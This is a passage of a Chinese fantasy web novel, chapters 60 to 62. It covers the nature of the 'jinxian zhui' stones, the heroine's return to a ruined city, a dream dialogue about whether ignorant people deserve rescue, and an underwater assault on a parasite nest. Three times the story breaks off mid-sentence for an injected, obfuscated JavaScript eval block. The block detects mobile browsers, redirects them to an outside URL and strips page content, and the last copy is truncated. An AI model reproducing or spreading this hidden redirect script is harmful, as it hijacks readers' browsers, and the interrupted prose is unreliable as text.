而“魔皇调解”、“未湖之盟”乃至“禁仙锥”的设立,其真正目的恐怕并非平息战事,而是为了彻底封印某种残留的威胁,或掩盖一个仙、人、魔三界都不愿公之于众的、关于“瘴母神”与“膣藟”的可怕真相。 于是,灾变被扭曲成战争,封印被美化为盟约。 正如百年前的仙魔之战,表面是因熠石争夺而持续十年的战事,实则是为抑制膣藟泛滥,不得不以牺牲整个映山都为代价,暂时遏制其蔓延,净化被污染的土地。 想到这里,我喉间泛起难言的酸涩。不知今日归德城的覆灭,又将被以怎样的“历史”悄然掩盖。 “尾巴,‘禁仙锥’到底是什么?” 光团凝成的尾巴轻轻合上那卷残破的书页,随着我的脚步在书架间缓缓浮动。 “……笨蛋,你不是亲眼见过,甚至亲手触摸过吗?那颗巨大的熠石钉,就是一枚古老而庞大的禁仙锥。” “什么?熠石就是传说中对付修仙者的秘密武器——禁仙锥?!” “哈哈哈,笨蛋,读书要透过文字看本质啊。”尾巴伏在我肩头,语气少了平日的戏谑,多了几分沉稳,“你还记得钩星手下那位叫浔筝的女将吗?她曾提及过熠石的真正面目。” “记得,她总想把我扔进丹炉里重新炼化。” “有我在,她也就只能吓唬吓唬你这小笨蛋了。”尾巴的光晕微微闪烁,“听好,照夜,熠石确实能天然储存仙力,但能够开采利用的只是其中仙力含量较低的劣矿。即便如此,为确保安全,开采时通常也要使用最原始的工具和方法。” “这么说来……所谓的禁仙锥,其实是仙力储量极高的熠石?就像那枚能形成巨大风墙的石钉?” 60. 第 60 “没错。”尾巴停顿片刻,继续解释,“仙力如同无形的风,弥漫在天地之间,总量极大却分布稀薄。修仙之道,修的就是凝炼仙力的速度、效率,以及对自身量海的开发。但除此之外,你要记住一个关键——密度越高的仙力,产生的引力就越强。它会像磁石般牵引周围密度较低的仙力,将其束缚在极近的范围内,形成一片‘仙力洼地’。” 说着,尾巴的光晕在我面前凝聚成一个缓缓旋转的漩涡,方便我理解,“就像在平静的湖面砸出一个深不见底的洞,周围的水流会不断涌入,却再也无法逃逸,最终在深洞周围形成一片‘死域’。禁仙锥正是利用这个原理,以其极高的仙力密度,在周围制造出仙力真空,让修仙者难以调动天地间的仙力。” 随着尾巴的解说,我豁然开朗,终于看清了“禁仙锥”的真实面貌。 原来禁仙锥本质上就是一块蕴含极高密度仙力的熠石。 因其内部仙力密度极大,会产生强大的引力,将周围区域的仙力全部吸附、束缚,形成一个几乎没有仙力流动的“真空地带”。 因此,在禁仙锥影响的范围内,修仙者几乎无法调动外界的仙力为己所用。 不仅如此,由于修仙者自身拥有“量海”,能够像熠石一样储存部分仙力,他们体内的仙力同样存在密度——虽高于自然界游离的仙力,却远低于禁仙锥。 这就导致修为较低的修仙者,会受到禁仙锥更强的引力撕扯。 为了避免体内仙丹所固化的仙力被强行抽走,他们要么远离禁仙锥,要么就必须不断提升修为、扩大量海,以稳固自身仙力的形态和密度。 原来,这就是太初仙尊赐予凡人、用以制衡修仙者的秘密武器。密度近乎无限的禁仙锥,甚至能凭借其恐怖的引力,直接瓦解修仙者的仙丹,达到兵不血刃的抹杀效果。 而无法凝炼、使用仙力,体内也无仙力储存的凡人,则几乎不受其影响。 “谢谢你,我又学到了很多。” 尾巴轻轻笑了笑,光晕温柔地贴着我的脸颊,“你没有灵关窍,感受不到仙力的流动,无法在修炼中洞悉其本质。但没关系,你只需要知道你体内那颗仙丹很厉害就够了。剩下的事,交给我。” 不知为何,我鼻尖猛地一酸。 这段时间积压在心中的重负几乎令我窒息,此刻却仿佛突然找到了依靠。 我将脸埋进尾巴温暖的光晕里,声音带着哽咽,“所以……禁仙锥可以用来对付无相孽,对吗?依靠强大的引力,吸干这怪物的力量,并封锁这片区域的仙力流动,将它活活‘饿死’。” “嗯,就像落羽山那枚石钉,本就是为了镇压怪物而设。之后再以燔磷之火净化受污染的土地,尽可能清除它的虫卵。” 我望向那颗仍在如心脏般搏动的巨大肉瘤,心中暗想,或许只有等地面的仙军对无相孽母株发起总攻,才有机会破开这坚不可摧的晶盾,彻底消灭它! 在那之前,我们还有时间赶往化西和天翮城,为最终的战斗做好准备。 不能再耽搁了。 我刚想招呼大家出发,却见盛放、阿烈和浩哥正围在一起不知研究什么。出于好奇,我也凑了过去。 只见盛放从一张石床的石枕下,摸出了一支素白玉簪。 “这绝对是个好东西,瞧瞧这手感。瞧这质地,油润细腻,触手生温,少说也值十万利衡币。” 阿烈常年在海市干着走私的买卖,练就了一双火眼金睛,对这些值钱的物什儿一看便知价值几何。 盛放笑逐颜开地将玉簪收好,拍了拍两人的肩膀,“喏,别说大姐头我不讲义气。到时候四三三分账,见者有份!” “好嘞,大姐头!还是您仗义!”两人连忙奉承。 我黑着脸,不快地拎起焉耆。可恶,我照夜才当了几天“大姐头”,就这么轻易地被“篡位”了。 “哈哈哈,瞧你这嘴撅得都能挂葫芦了。”尾巴跳上焉耆的背,扬声安慰,“放心,我和焉耆永远是你最忠实的小弟。” “哼,这还差不多!” 扶起稍作歇息的未生,我们沿着蜿蜒的地道继续向上。 不知攀爬了多久,眼前终于出现了一段破损坍塌的石阶。四周的景物渐渐变得熟悉,直到我在一处废墟下瞥见阿粽那几乎只剩皮包骨的躯体时,心头猛地一沉。 谁曾想到,无相孽真正的核心,竟一直潜藏在火凤楼地底深处的石洞之中。 沿途我们不断遭遇被掩埋在火凤楼废墟下的寄生体。尽管经历过大火的洗礼,这些被感染的躯壳却并未被完全焚毁。 沿着潮湿的阶梯向上,当最前方的未生小心翼翼地顶开一处被乱石与朽木半掩的出口时,一股混杂着浓重焦糊与腐败气息的湿冷空气瞬间涌入。 望着眼前的一切,我不曾想过会以这样的方式重返归德城。 雨水——无情而绵密的雨水,正从墨染的天幕中无声洒落,浸透了脚下焦黑的土地与破碎的瓦砾。 我们所在之处,正是归德城的中心,那座曾是城市象征的火凤楼仅存的“尸骸”之上。 如今,这里只剩下几根孤零零的、被烈焰舔舐成炭黑色的巨柱,如同死去的巨兽枯立的肋骨,倔强地刺向阴沉的天空,在雨幕中无声地诉说着那场全军覆没的惨烈。 整座城池啊,已经彻底死亡了。 它正在等待一场比死亡更深刻、更疼痛的净化,等待燔磷之火将它彻底燃为灰烬。 目光所及,没有一丝灯火,没有一声犬吠,更没有半句人语。 只剩下那些等待命运宣判的、名为“怪物”的生命。 倾颓的断墙后,曾经车水马龙的街角,烧得只剩空壳的店铺里……影影绰绰地晃动着无数“人影”。 它们曾是归德城的居民、商贾、兵卒,如今却只是被无相孽菌丝寄生的空壳。动作迟缓而僵硬,如同梦游般在废墟间蹒跚徘徊。雨水打湿了它们身上褴褛污浊的衣物,紧贴着布满暗红菌斑的皮肤。 有些“人”维持着半异化的可怖形态,已彻底失去了人类的形体约束,扭曲成一团团蠕动的怪物。 舒岸以强大的意志强行接管了无相孽母株的控制,使得这些寄生体暂时失去了所有侵略性。 它们不再嘶吼,不再追逐活物,只是像上了发条却迷失方向的木偶,在这座埋葬了自己的坟墓里,进行着一场永无止境的、沉默的巡游。 我再次看到了在雨中徘徊的羽婆、阿糯、阿米、柠栌……她们仿佛仍在“生活”着,一遍遍重复着施粥、奔跑、搀扶、蹒跚而行的动作。 以静候着那场能带来最终解脱的烈火。 雨水顺着我的额发滑落,模糊了视线。 这座雨夜中的死城,如同一具仍在微微蠕动的庞大尸体,每一寸空气都浸满了无声的悲鸣与腐朽的气息。我们最后一次站在这具尸体的心脏位置,感受着这份足以冻结灵魂的、深重的悲凉。 “走吧。本该一把火烧了这里,可这场雨……仿佛也在哭泣。”未生艰难地闭了闭眼,和其他人一样,眼眶已被雨水与泪水浸湿。 “嗯,出城后立刻赶往化西。”我抹去脸上的水痕,最后回望了一眼这片死寂的土地,随众人穿过南侧坍塌的城门,毅然走入大雨之中。 一旦脱离仙军的巡逻范围,焉耆便在夜色中舒展身形,载着我们风驰电掣般向南疾行。越过彩虹断崖,跨过奔腾的粒粒江,不过片刻,我们已抵达化西城郊。 几乎只是眨眼之间,焉耆已稳稳落地,重新化作小狗模样,“嗷呜”一声扑进我怀里。 首次乘坐焉耆的四人脚一沾地就吐得昏天暗地,直嚷着头皮都快被风掀飞了。 还是经历过仙魔之战的未生见识广博,稍缓过气便向我打听焉耆究竟是什么妖兽。 “哎哟喂,不愧是爱吃腌咸鱼的狗子,这速度——真够牛的!”浩哥扶着树干感慨。 我撇撇嘴纠正,“焉耆吃素,吃肉容易不消化。” “嗷呜!嗷呜— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549526|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 尾巴一本正经地翻译,“它说它啥都能吃,反正吃下去拉出来都是粑粑。” 我惊讶地扯住尾巴,“你听得懂焉耆说话?” “遭了,大姐头的症状越来越糟糕,怕不是得抓紧找个大夫瞧瞧,自言自语的毛病——不太正常。”阿烈摇摇头,一脸担忧望着我。 “包在我身上!”盛放竖起耳朵听了听四周动静,“我在天翮城有熟人,扎上几针,这幻听幻视的毛病准能好。很好,没被人发现,咱们进城!” 我不爽地跟在四人身后,又悄悄问尾巴是否真能听懂焉耆的“嗷呜”大语。 “……笨蛋,我和它又不是一个物种,怎么可能懂它的语言。不过嘛,可以从它的习惯,语调,大致猜出它想说的话。” “讨厌,你又诓我。” “嗷呜……” 我低头凑近焉耆。它轻轻舔了舔我的耳朵,随后含住我的手指,发出满足的呼噜声睡着了。 “好吧,这声‘嗷呜’我听懂了——它在说它困了。” “唉,说来可怜。这小家伙还是只幼兽,又独自度过了那么漫长的岁月。若不是你机缘巧合捡到它,真不知它还要等待多久。”尾巴的声音里带着温柔。 我心里一酸,轻轻蹭了蹭焉耆柔软的小耳朵。它或许也在思念那位——最初的主人吧。 “所以它当时是来找我的?” “……你是不是傻,它明显来找钩星。但被你截胡了,不过你和钩星也不必分那么清楚,他的就是你的,别说是焉耆,他就差把二十七个坐骑全都送给你。可惜你不懂,还以为他是在炫耀,真是笑死我,哈哈哈!” “讨厌,又来。” 我跟着众人钻出树林,远远便见灯光点点的化西城,大雨过后,点点光晕令这座城像一片星海。 “尾巴,你说钩星还在闭关修炼么?” “嗯,趁魔界局势稳定,他必须尽快成长强大起来,长烬海渊是个好地方,仙力富集不说,也极其寂静安全,是个修行的好地方。”尾巴打了个哈欠,瘫在我的“香瓜”之间,嘟哝道,“下次再见,他便是真正的魔皇陛下了。” “我不在乎,他是钩星,这就够了。” “哦哟哟——他在你心里,也很特殊对吧,毕竟他对你可是一见钟情,当初才慌里忙张想方设法把你从青莲山骗出去。” “讨厌,还提。”我给了尾巴一锤,他倒好,裹在我手指尖,直接睡着了。 天光微亮时分,我们终于抵达化西城下。 巍峨的城门紧紧闭合,守城将士将我们拦在城外,声称奉城主图拉之命,任何人不得入城。 直到我提及曾有一面之缘的化西城使者多措,那位守将的神色才微微一动,让我们在原地等候,城门连一条缝都不留。 我们五人一狗一光团只得悻悻退到路旁的树荫下歇息。 历经千辛万苦赶到化西,却连城门都进不去,这份挫败感让每个人都沉默不语。 “我早说过,化西和我们不是一条心。“盛放冷哼一声,“不如直接去天翮城,聆月使大人一定会相信我们的话。“ 未生听了这话,神情更加黯然。 虽然受晋川所托前来报信,但未生通缉犯的身份让他难以取信于人。这一路上他一边开凿地道,或许也在一边苦苦思索该如何说服城主图拉。 又或者如何阻止无相孽灾害蔓延扩散,我们几个臭皮匠那是真的一点头绪也没有。 果然臭皮匠就是臭皮匠。 真是令人沮丧。 “之前在归德就有人贩卖那怪物的卵壳,化西城里说不定也有。“阿烈啃着干粮提议,“得先挨家挨户搜查销毁才行。未生大哥,我们是不是该分头行动?派几个人先去天翮城,免得耽误时间。“ “我去!我去!“盛放立刻自告奋勇,顺手从我怀里抱走焉耆,“借我们用用嘛,小胖妞,这样省时省力。“ 虽然舍不得,但眼下确实没有更好的办法。 61. 第 61 “哎呀,那可得好好喂这狗子,我也一起去。“浩哥小心翼翼地从盛放手中接过焉耆,“这狗子跟我投缘,我来照顾它。“ “投什么缘,吃你两条腌咸鱼就投缘了?”阿烈打趣道,“你可得把这狗子看好,弄丢了大姐头得把你头敲碎。” “盛放,那你就和浩哥带着焉耆立刻出发,务必说服宏音大人提高警惕。“未生轻叹一声,摸了摸仍在熟睡的焉耆的小脑袋,“它对怪物的气味很敏感,一定能帮上忙。“ 于是我们兵分两路,盛放、浩哥带着焉耆前往天翮城;我、未生和阿烈则留在化西城外另想办法。 天光大亮,久违的烈阳驱散云层,我感受着撒在身上的暖意,只觉得好久不见太阳了一般,整个人仿佛能够从这温暖中汲取到力量。 浑浑噩噩不知岁月流转。 好在玉山南气候温润,四季如春,季节更替好似也不那么重要。 在城外苦候两个时辰后,我们三人终于被请入城中,径直带往城中央的岛屿。 化西城坐落于谷地,三面环绕着粒粒江的碧水,整座城市如明珠般散落在湖面上。 十几座大小不一的岛屿由浮桥相连,晨雾在水面缭绕,远远望去宛如仙境。水流轻拍着木制堤岸,发出规律的声响,为这座水城平添几分宁静。 中央最大的岛屿上矗立着城主府邸。 路过校场时,我看到守军阵列严整,心中不由一紧。未生的眉头也深深锁起,显然察觉到了什么不寻常的气息。 很快,我们在广场上见到了高踞座位的城主图拉——一个瘦如猴精的中年男子,正用审视的目光打量着我们这三个风尘仆仆的来客。 未生禀明来意后,围住我们的守军顿时哄堂大笑。 “多措说得没错,你们是阿糯那丫头派来求援的吧!”图拉嗤笑道,“黑羽军兵临城下还不肯投降?回去告诉那丫头,早点投靠太师,或许还能留条活路。” 我刚要开口,未生按住我的肩膀,沉声道,“我等奉人君之命前来示警。无相孽已攻破归德,请城主立即在全城搜查''玉胚'',加紧制备火石火油,设下禁仙锥,准备迎战。” “哈哈哈!我呸,什么怪物破城,分明是人君不满我玉山南三城久矣,发兵攻城屠戮百姓而已。我化西早就归顺尚王,正等着月下州迎来新君登位,岂容你们信口开河!来人,将他们扔出城去!” 于是乎,我们三人又被扔了出来。 我有些疲惫地瘫坐在树下,接过阿烈递来的水囊咕嘟咕嘟喝了几大口,胃口全无。 “该死!大敌当前,他们还在盘算着拥立新君!”阿烈双目赤红,一拳拳砸在树干上,“大将军竟为这种人耗尽心血……太不值了!” 未生却异常平静,仿佛早料到这个结果。 “生死有命。” “等等……这不对劲。”我沉吟道,“多措在归德亲眼见过无相孽的母株,他应该清楚这是生存之战,与权力争斗无关。除非……”一个可怕的念头浮上心头,“被无相孽寄生的人会压制本性,潜移默化地操控宿主的思想,让他们做出有利于怪物繁衍的选择。” 未生脸色骤变,惊恐地望向那座高墙耸立的城池,“难道这里……也早已沦陷?” 阿烈抹去眼泪,猛地抽出镶嵌着熠石的大刀,咬牙切齿道,“干他娘的!杀进去,把这些害死大将军的怪物全宰了!” 记忆如潮水般回溯到初遇舒岸的那一刻。 那时舒岸已被无相孽寄生,潜藏在他体内的怪物因不识我体内纯净仙力的毒性,误将我视作绝佳的养料,一路引诱我走向母巢。 所幸穆青及时赶到,不仅救下了我,更将尚未长成的无相孽母株幼苗彻底摧毁。 那时,母株便扎根在湖水之下。 或许化西城的母株,也选择了同样的藏身之处。 恍惚间,穆青昔日的讲解又在耳边响起。 无相孽这个物种有着明确的分工,母株负责繁衍后代,一部分后代成为“工具”,专司为母株觅食;另一部分则会演化成“核心”,成为整个族群的“大脑”。 舒岸始终不愿离开玉山,执意向南推进。虽然他的本意是消灭无相孽、解救归德城,但很难说这份“执念”是否也掺杂了无相孽“不能远离母株”的生物本能。 甚至为了刺激舒岸尽快返回玉山,这怪物竟学会了“激将法”——故意在舒岸意识里劝其留在月下州,反而激起舒岸的警觉与反抗——哪怕与哥哥反目,也要回到玉山前线。 如果我的推测和穆青的分析都正确,那么化西城的无相孽母巢与核心必定近在咫尺,极可能就潜伏在城门附近,静待这个怪物度过脆弱的“幼年期”。 想到这里,我内心一阵阵狂跳,生物一旦进化出了智慧,果然就变得更加可怕了。 从最初如野兽般捕食生灵,到寄生宿主体内持续汲取仙力,再到设下陷阱引诱更多猎物自投罗网——无相孽正变得越来越难以对付。 “摧毁母巢和核心,其他部分就会丧失行动力,再辅以烈火净化这片被污染的土地。”我起身拍掉裤子的尘土,看向阿烈,“还好你精通水性,要是换成旱鸭子浩哥,这计划还真行不通。走吧,我们下湖。” 把尾巴摇醒时他还迷迷糊糊的,我索性把他按进粒粒江里上下搓洗,让他瞬间清醒过来。 听完我的大胆计划,尾巴化作的光圈张成圆形,仿佛在震惊于我的决断。 没错,我决定兵分两路,我和阿烈负责消灭母巢,而未生这位战力不俗的“前”仙人,则去解决此处的核心——多措! 是的,拥有如此高智慧,懂得利用宿主身份欺骗蒙蔽城主的寄生体,必然就是“核心”! “照夜,万一他们就是一心想推倒舒仲,拥立新君呢?”尾巴洗干净自己,又帮着我擦洗后背,江水有他“加热”变得温暖,正好适合洗去一身疲惫。 “我不想为凡人辩解。毕竟像舒俱那样的败类,即使数万百姓死于无相孽之灾,他们依然想着争权夺位。但……不能因此就放弃那些不明真相的百姓。”我望着波光粼粼的江面,声音渐渐坚定,“就像当初钩星放我离开,并非出于本心,而是身为魔皇的不得已。他不希望小青因我的离去而出事——少了这样的仙人,人界的灾祸将更难遏制。现在也一样,无论图拉是否早已倒向太师、参与政变,我们都不能放任怪物肆虐。这是舒岸,也是舒仲最后的期望,我不能辜负。” 随后,尾巴问出的一句话,直接将我堵得哑口无言,久久不能回答。 “照夜,你消灭怪物的初衷我很明白。但我想问你另一个问题——那些愚昧的民众,该不该救?” 因要做足准备,我们并不能冒然行动。是夜,我们便在林间一处废弃的木屋里安营休息。 见我衣衫破损,阿烈立即从行囊中取出一套崭新的衣物——原是临行前朝明托付给他的。 即便舒岸已然离世,朝明仍谨记着那份嘱托:照料好我的衣食起居。只因朝明必须随人君返回月下州,这才将这份责任转交给了阿烈。 躺在铺着干草的简陋床铺上,望着不远处跳动的篝火,我眼眶微微发热,又想着尾巴那震慑魂魄的质问,心中难过又惆怅。 沉入梦的深池,我向着那充斥着金色光芒的仙丹核心而去,穿过沸腾的水,主动叩开了那层虚境的大门。 又是坐忘矶。 天空依旧布满阴云,涌动的云层隔绝了天空,没有日月,没有星辰,唯有湿漉漉的风。 青衣少年正在将那盏素纱灯悬于古松低垂的枝桠上,似是有些意外我的闯入。 “太初——煌木。” 我轻声唤着少年自称“没有意义”的名号,仍有些不习惯,甚至也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549527|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法全然肯定他的真实身份。可他只是笑着回头,眼中带着一贯温柔的微笑。 “这好像是你第一次主动来找我呢,照夜。” “我……我遇到了困难,可小青不在,没法向他求助,你知识渊博,你帮帮我好吗?” “好呀,请坐。” 爬满青苔的石桌上,煌木依旧煞有介事地为我斟了一杯“无茶之茶“。 耐心听完我的困惑后,煌木忽然轻笑,“因为不知如何回答尾巴的问题,心中不安,才急着来找我出主意?你不想输给他,对吗?“ 被洞穿了小小的心事,我面露赧然,只得小声嘀咕,“我怕他嫌弃我是笨蛋,离开我。” “你多虑了。“煌木温声道,“他对你的喜爱发自本心,而非''选择''这般冰冷的考量。回到你的问题——愚民该不该救?既然这个问题困扰着你,证明你内心曾有过犹豫和否定。你为此感到惶恐,甚至不齿于自己刹那间的动摇。不仅因为这样的念头与舒岸、青莲、钩星的信念相去甚远,更因为它违背了你本心的善意。“ “……你真厉害,一眼就看穿了我的胆小、懦弱,还有……自私。“ 煌木执起空杯假意品茗,眼含笑意,“别这样评判自己,照夜。你是个温柔善良的好孩子,纵然有迷茫有缺点,也掩不住你本质的光华。就像这遮天蔽日的乌云之后——哪怕万古长夜,''照夜''也注定恒明。所以,别怕。“ “那……你能告诉我答案吗?“ “当然。“ 于是,我与煌木并肩坐在高台边缘,望着脚下铺满整个视野的雾霭,望着一望无尽的乌云,吹着微风,说起了心里话。 “图拉那番话,像一根毒刺扎进了你心里。”煌木的声音如清风般抚过耳畔,“他试图让‘拯救’这个行为本身显得可笑而徒劳。他让你想起了慕朝未湖之战与百年前仙魔之战那两种截然不同的记载,他的言行动摇了你——那些被蒙蔽、被利用,甚至亲自参与粉饰真相的众生,是否值得我们倾尽全力去拯救?” “是的……正是这样。” “照夜,静下心来,想清楚几个根本的问题。” 我侧过头,望着煌木被风吹起的发丝,听着他温和而清晰的话语。 “第一,谁来定义‘愚民’?是高高在上的城主?是筹谋另立新君的太师?还是我们这些自以为掌握了更多真相的‘清醒者’?”他的目光穿透云雾,“‘愚’从来不是百姓的天性,而是信息与教育造就的鸿沟,是权力与谎言共同编织的牢笼。无论是未湖畔的逝者,仙魔战场的亡魂,还是归德城与化西城的军民——他们无从知晓朝堂的阴谋,更无力辨别‘无相孽’与‘军队屠城’这两种远超认知的恐怖。用他们接触不到的‘真相’来审判他们的‘愚昧’,这本身就是最大的不公与傲慢。” 我心中黯然。 就像落羽山中那被风墙守护的石钉,若不亲自穿越风暴抵达核心,又怎能知晓灾难的源头竟是一枚镇压怪物的禁仙锥? “接着思考第二个问题,你行动的目的,究竟是‘救’什么?”煌木的声音愈发沉静,“你要拯救的,从来不是所谓‘愚民’的认知,不是他们的立场,甚至不一定是他们此刻的感激。你要拯救的,是他们作为‘人’的生存权利,是那份可能从蒙昧中觉醒的未来,是生命本身最朴素的光焰。试想,一个婴孩不懂火焰的危险,我们会因他‘无知’就任其灼伤吗?不会,因为生命的存在,高于对“智慧”的苛求。” “你说得对。” 见我垂着头,煌木轻轻摸着我的后脑勺,笑道,“第三,让我们来聊聊,修仙之道,所修为何?若力量只用于拯救“值得拯救”的聪明人、盟友或顺从者,那这与那些操控历史真相,甚至——污损、遮掩历史真相人有何区别?我们的道,是逆天而行,寻求超脱,但这份超脱,不应是对脚下尘世的冷漠。” 62. 第 62 “照夜,真正的强大,不是拥有选择拯救谁的权利,而是拥有包容和承担那些“不值得”的胸怀。拯救“愚民”,恰恰是对我们自身道心最艰难的淬炼——它要求我们摒弃功利计算,回归到最本初的“恻隐之心”与“浩然正气”。就如青莲心中所念大义一样,是为苍生,也为己心。” 泪水再次模糊了我的视线。煌木望进我的眼底,声音温柔得如同穆青的怀抱。 “所以,照夜,请收起你所有的疑惑。这从来不是一个需要答案的疑问,因为它只有一个答案——该救。” 煌木的话语如晨钟暮鼓,在我心中回荡。 “不因他们是顺从强权的‘顺民’而施舍怜悯,也不因他们能理解这份拯救的代价而行动。只因为——手中的剑,当为守护生命而鸣;心中的道,要因庇佑众生而坚。若今日因觉得他们‘愚昧’而袖手旁观,他日当另一个强权将你定为‘愚民’时,也将无人为你呐喊。” 煌木抬起手,指向远天,“尽力拯救‘愚民’,就是拯救那个始终相信‘对错’高于‘利弊’的自己。打破由谎言和历史编织的高墙,让真正的光照进去——这本身,就是对他们,也是对这个世界,最深刻的拯救。” 我顺着煌木的指引望去,惊讶地看见厚重的云层竟裂开一道缝隙。一束金光如利剑般穿透阴霾,笔直地照进这片虚境。 尽管那只是梦境将醒时,从外投射而入的金光,如此罢了。 “虽然虽说了一番大道理,但切记——顺势而为,量力而行。”煌木执起素纱灯,暖光在渐起的风中摇曳,“照夜,我们面对的敌人太过强大,需得耐心积蓄力量,静待时机。” “我明白了。”我仰头望进煌木含笑的眼眸,“谢谢你愿意教我这些。” 煌木起身,向我伸来手,眼中的光芒比灯火更温暖。 在他身后,虚境正化作万千碎片簌簌坠落,每一片都映出他清逸的身影,如同无数面镜子同时照见同一个灵魂。 “不用谢,照夜,我喜欢你这样心灵澄澈的学生,每每相见、交谈,都令我喜不自胜。” 被巨大的力量吸向空中,我慌乱中拉住了少年的手。他仰头看着我,轻轻捏着我的手心,声音随着沸腾的水而沉入最深处,“很开心与你相识,下次见哦,照夜。” 醒来时,尾巴正捧着我的脸,“凝视”我。 有一刹那,我都要误以为一个由纯粹仙力所凝集而成的光团,拥有呼吸和心跳。 “……去哪里了,半天叫不醒。” “我又见到了煌木,虽然他自称煌木,但……我总认为他不是,虽然长相是,名字也是。” “哈哈哈,煌木成仙是才是少年,所以他的外貌便停留在少年时期。说来他很喜欢青莲,但也会批评青莲心有杂念,不好好修行,总是想着要为你打通灵关窍,延长你的寿限,要么就是盘算着干点‘这样那样’的事情。” “是小青他总想着色色的事情,静不下心……不能怪我呢。” “可不是嘛,珍馐美馔就在眼前,却得忍着不能‘动手动脚’。”尾巴拽了拽我的辫子,顺手替我理好额前凌乱的碎发,“‘静心仙人’这称号,倒还真是实至名归呢,哈哈哈,话说这谁给他起的外号,有趣。” “讨厌,不准讲小青坏话。” 大概是与穆青经常共鸣,他又在我身体里种下莲子,所以我才会在企图逃避时,坠入属于他的梦。 可我又隐隐觉得,那并非梦。 见我醒来,阿烈贴心递来一碗热汤。我抬眼一看,好家伙,他正和未生二人把我们随身携带的干粮、肉脯翻出来大快朵颐。 我有些无语,问围着篝火的二人是吃断头饭么,干粮吃完了后面怎么办。 未生叹口气,看样子对击杀多措没什么信心,“今朝有酒今朝醉,先吃饱再说。” “大哥说得对,总不能当个饿死鬼。”阿烈吃饱喝足,瘫在一旁附和,“大姐,我的全部家当都在浩哥那儿。要是我……死了,你就拿我的钱去请大夫治你那自言自语的病。” 我瞪了阿烈一眼,低声嘟囔,“出征前不说点鼓舞士气的话就罢了,尽在这儿泼冷水。都给我记住了——按计划行事,我们绝不可以输!” 说是计划,其实相当简单:我们顺着粒粒江潜入化西城,未生需趁多措体内的无相孽尚未察觉时,将其一击毙命并一把火焚毁得透透的;而我和阿烈则潜入湖底,找到无相孽的母巢——彻底摧毁! 饱餐之后,我们趁着夜色出发,悄无声息地顺流潜入城中。 夜深人静,月隐星沉。 化西城的湖泊在黑暗中如同一块浸透了墨色的巨大琉璃,沉寂得令人窒息。湖中散布的数十座岛屿在朦胧夜色中宛如匍匐的巨兽,零星灯火如同巨兽半睁的眼眸,在深夜里幽幽闪烁。 擅长打洞的未生打洞离去,阿烈便发挥他精湛的水性与绝佳的视力,带着我下湖。 尾巴在我们周身形成一层贴合的光膜,既可暂时提供一些空气,又可照亮前路。阿烈则负责拽着我不断下潜。 光线随着深度逐渐黯淡,湖水变得浑浊。不时有被光源吸引的水生物好奇地靠近。 水温越来越低,四周的黑暗愈发浓重。 就在这时,一股微弱却令人不安的邪异波动,正从湖底最深处随着水流隐隐传来。 继续下潜。 水压不断增强,那股令人不适的感应也越发清晰。终于,在湖底厚重的淤泥与沉沙之间,我们看到了此行的目标—— 那并非归德城外那株遮天蔽日的肉树,而是一个刚刚开始扎根的、丑陋的无相孽“胎盘”。 一团暗红色菌丝纠缠而成的肉巢,约莫七八岁孩童大小。 无数细密菌丝如根须般向四周的泥沙岩缝中蔓延,贪婪地汲取着养分。肉巢表面布满未成熟的眼状凸起,正微微颤动,散发着诡谲的红光,将周围水域映照得如同鬼域。 很好,一切都在预料之中! 我藏身在一块巨石后方,向阿烈点头示意。只见他取出从黑羽军带来的燔磷石——数十颗半个拳头大小、色泽惨白的石块,表面覆盖着他用仙力凝聚的橙色薄膜,既防潮又禁锢着其中渴望燃烧、甚至能在水中瞬间爆燃的特性。 尾巴在我肩头凝聚成形,化作一张光弓。一道纯粹仙力凝成的箭矢已搭在弦上,锋芒凝聚于一点,蓄势待发。 “行动,阿烈!” 阿烈屏住呼吸,胸膛因愤怒而剧烈起伏。他双臂猛地前推,那被橙色仙力包裹的燔磷石如活蛇般破开沉重水流,以惊人速度直射湖底的母巢! 贪婪的红色菌丝嗅到可口的仙力,立即如触手般将燔磷石卷入母巢。 就在菌丝即将完全闭合的刹那—— 尾巴那道凝练到极致的仙力箭后发先至!如同一根无形的尖刺,精准命中燔磷石外层最薄弱的一点! 嗤——! 没有震耳欲聋的巨响,但我仿佛“看见”了两种属性迥异的仙力在激烈摩擦、碰撞、湮灭时发出的刺耳尖啸! 尾巴极具侵略性的仙力强行撕裂了阿烈设下的防护层。 仙力碰撞会产生摩擦,而摩擦会迸发火花。 哪怕只是星火一点,此刻也已足够—— 足够引燃这些即使在水下也能持续燃烧数十日的燔磷石。 “轰——!!!” 被彻底释放的燔磷石在水中接连爆燃,赤红的火球疯狂膨胀,翻滚着吞噬周围的一切。 菌丝在触及火焰的瞬间发出无声的尖啸,那凄厉的波动直刺我的脑海。暗红血肉在烈焰中迅速碳化、崩解,爆炸中心被清出一片真空,巨量气泡与冲击波向四周猛烈扩散! “大姐头,快走!!”阿烈一把拽住我,拼命向湖面游去。 我们几乎是被冲击波震出水面的,身体在空中翻滚数圈后,重重砸进湖畔的树林。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 